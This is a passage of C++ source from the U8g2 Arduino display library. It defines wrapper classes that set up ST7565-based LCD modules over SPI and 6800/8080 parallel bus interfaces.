u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_JLX12864_1_8080 : public U8G2 {\n  public: U8G2_ST7565_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_2_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_2_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6063_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_6800 : public U8G2 {\n  public: U8G2_ST7565_64128N_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_2_8080 : public U8G2 {\n  public: U8G2_ST7565_64128N_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_6800 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_2_8080 : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6059_2_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6059_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_6800 : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_KS0713_2_8080 : public U8G2 {\n  public: U8G2_ST7565_KS0713_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_6800 : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LX12864_2_8080 : public U8G2 {\n  public: U8G2_ST7565_LX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_erc12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ERC12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ERC12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    